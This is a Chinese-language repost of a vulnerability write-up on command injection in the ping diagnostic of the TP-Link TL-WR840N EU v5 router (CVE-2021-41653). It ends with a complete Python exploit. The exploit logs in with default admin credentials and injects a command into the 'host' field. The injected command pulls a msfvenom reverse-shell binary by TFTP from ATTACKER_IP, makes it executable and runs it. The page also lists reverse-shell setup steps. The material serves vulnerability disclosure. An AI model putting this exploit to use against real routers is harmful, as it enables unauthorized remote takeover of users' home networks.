zl程序教程

您现在的位置是:首页 >  Python

当前栏目

TP-Link TL-WR840N EU v5 远程代码执行

2023-03-15 22:07:34 时间

型号: TP-Link TL-WR840N EU v5 易受攻击的固件版本: TL-WR840N(EU)_V5_171211 / 0.9.1 3.16 v0001.0 Build 171211 Rel.58800n

通过UART轻松root

使用 FT232 设备来获取对设备的 root 访问权限,这个控制台在漏洞利用开发过程中非常有用。

# check serial port
screen /dev/tty.usbserial-AB0LR7NH 115200

使用 UART 控制台仅用于调试

以下屏幕截图包含 GUI 上的相关输入参数,用户提供的输入参数不会在服务器端清理,它用于执行 PING 命令。

注意: WAN 线必须插好,路由器 IP 地址为 192.168.1.1。

供应商使用客户端 JavaScript 保护,但可以通过代理轻松绕过。

执行命令时,可以在串行控制台上看到确切的命令。

我使用了 ghidra 和其他逆向工程工具来检查发生了什么,但是现在在服务器端没有清理参数就足够了。

要在路由器上执行代码,必须发送以下两个请求:

注意:还有其他请求,但它们不是实现代码执行所必需的。

简单的代码执行

下图包含 /var/tmp 文件夹的内容(通过 UART)该文件夹是可写的。

修改host参数创建文件:

/var/tmp/k44 文件内容如下:

反壳

供应商提供的程序是有限的。成功的攻击需要多个步骤。TFTP 客户端可用于将文件从攻击者复制到路由器。

注意:用户名和密码是必需的。

  1. 生成meterpreter shell (IP, PORT)
  2. 准备 TFTP 服务器
  3. 复制shell到TFTP服务器
  4. 打开 Meterpreter 侦听器
  5. 向路由器发送请求
  6. 通过 TFTP 下载 shell
  7. 执行二进制文件并连接回攻击者

代码执行的重要部分执行以下操作:

  1. 上传外壳
  2. 更改shell的权限
  3. 执行外壳

POC + 演示

笔记:

  1. 使用kali vm 和 msfvenom 工具来生成一个反向 shell 二进制文件。该架构是 MIPSLE。
  2. 使用 atfpd 服务器作为 TFTP 服务器

使用多处理程序:

执行脚本:

反壳:

POC

#!/usr/bin/python3
###############################################################
### tplink_TL-WR840N-EU-v5-rce-exploit_v1.py 
### Version: 1.0
### Author: Matek Kamillo (k4m1ll0)
### Email: matek.kamillo@gmail.com
### Date: 2021.09.06.
##############################################################

import requests
import os
import base64

USERNAME = "admin"
PASSWORD = "admin"
URL = "http://192.168.1.1/cgi"
PATH = "/srv/tftp/shell"
ATTACKER_IP = "192.168.1.101"
COMMAND = "$(echo 127.0.0.1; tftp -g -r shell -l /var/tmp/shell " + ATTACKER_IP + "; chmod +x /var/tmp/shell; /var/tmp/shell)"

def base64_encode(s):
    msg_bytes = s.encode('ascii')
    return base64.b64encode(msg_bytes)


class Exploit(object):
    def __init__(self, username, password, command):
        self.username = username
        self.password = password
        self.command = command

        self.URL = "http://192.168.1.1/cgi"
        self.session = requests.session()
        #self.proxies = { 'http' : 'http://192.168.1.100:8080'}
        self.proxies = { }
        self.cookies = { 'Authorization' : 'Basic ' + base64_encode(username + ":" + password).decode('ascii') }
        self.headers = { 'Content-Type': 'text/plain', 'Referer' : 'http://192.168.1.1/mainFrame.htm' }

    def _prepare(self):
        print("Generating reverse shell.")
        command = "msfvenom -p linux/mipsle/shell/reverse_tcp -f elf LHOST=" + ATTACKER_IP + " LPORT=2000 -o " + PATH
        os.system(command)

    def _send_ping_command(self):
        URL = self.URL + '?2'
        data = '[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
'
        data += 'dataBlockSize=64
'
        data += 'timeout=1
'
        data += 'numberOfRepetitions=4
'
        data += 'host=' + self.command + '
'
        data += 'X_TP_ConnName=ewan_ipoe_d
'
        data += 'diagnosticsState=Requested
'
        r = self.session.post(URL, headers=self.headers, data=data, cookies=self.cookies, proxies=self.proxies)

    def _send_execute_command(self):
        URL = self.URL + '?7'
        data = '[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0
'
        r = self.session.post(URL, headers=self.headers, data=data, cookies=self.cookies, proxies=self.proxies)
        
    def execute(self):
        self._prepare()
        self._send_ping_command()
        self._send_execute_command()

if __name__ == "__main__":
    e = Exploit(USERNAME, PASSWORD, COMMAND)
    e.execute()

视频:

https://youtu.be/GBuuGdeTKgw

https://k4m1ll0.com/cve-2021-41653.html